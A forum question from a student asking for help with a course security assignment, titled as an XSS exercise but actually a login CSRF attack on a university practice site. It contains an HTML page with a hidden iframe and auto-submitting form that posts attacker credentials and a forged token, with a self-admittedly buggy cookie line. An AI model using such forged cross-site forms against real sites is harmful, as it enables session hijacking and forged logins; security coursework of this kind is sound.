dongqin1075 2015-03-10 05:53
浏览 32

如何在虚拟网站上成功执行xss攻击?

in my security course, we were told to practice an xss attack using firefox on this website;

http://permalink.co/            

No worries, this is a website specifically setup for us to practice security. The csrf field you see should be set to 1 (for token validation, token is random) and the xss field should be set to 0 for this practice. We should write an html file and include other languages like javascript, such that when our file is executed by the browser, it should just display a blank page. But when refreshed, it should show that we are logged into the website I gave above. The username is 'attacker, and the password is 'l33th4x'.

I basically need to lock in password, username, and token. I came up with a plan to use a cookie and set the token to 'abc'. So, when I come to login, i use the username and password that I know with token=abc that I knowingly set. But my code doesn't work, I was told I need two forms, first one for setting the cookie token to 'abc' and second one for logging in using the three parameters. But I don't see what to put in the 1st form. I came up with the code below but it doesn't work, I need help;

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html>   
<head>       
<title> set csrf to 0 and xss to 4 on http://permalink.co/ </title>        
</head>
<body>
<iframe style="border:none;width:0px;height:0px" id="iframe_submit"    name="iframe_submit"></iframe>        
<form id="form_id" action="http://permalink.co/login" method="POST" target="iframe_submit">       
<input type="hidden" name = "csrf_token" value="abc"><br>
<input type="hidden" name = "username" value="attacker"><br>        
<input type="hidden" name = "password" value="l33th4x"><br>    
</form>
<script type="text/javascript">
document.setcookie="csrf_token=abc";
document.forms["form_id"].submit();                              
</script>
</body>
</html>

For a first hand view of the question, visit the website below and look for number 2.1. This was due last month but I didn't understand it and exams are approaching; https://www.eecs.umich.edu/courses/eecs388/static/388-w15-proj2.pdf

  • 写回答

0条回答 默认 最新

    报告相同问题?

    悬赏问题

    • ¥15 LiBeAs的带隙等于0.997eV,计算阴离子的N和P
    • ¥15 关于#windows#的问题:怎么用WIN 11系统的电脑 克隆WIN NT3.51-4.0系统的硬盘
    • ¥15 matlab有关常微分方程的问题求解决,来真人,不要ai!
    • ¥15 perl MISA分析p3_in脚本出错
    • ¥15 k8s部署jupyterlab,jupyterlab保存不了文件
    • ¥15 ubuntu虚拟机打包apk错误
    • ¥199 rust编程架构设计的方案 有偿
    • ¥15 回答4f系统的像差计算
    • ¥15 java如何提取出pdf里的文字?
    • ¥100 求三轴之间相互配合画圆以及直线的算法